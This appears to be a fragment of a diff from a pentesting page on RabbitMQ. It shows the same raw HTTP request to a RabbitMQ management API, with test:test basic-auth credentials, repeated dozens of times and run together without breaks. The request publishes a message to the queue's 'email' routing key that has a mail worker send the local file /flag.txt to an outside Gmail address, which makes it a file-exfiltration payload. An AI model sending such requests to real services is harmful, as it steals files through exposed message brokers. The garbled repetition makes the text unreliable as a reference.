+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
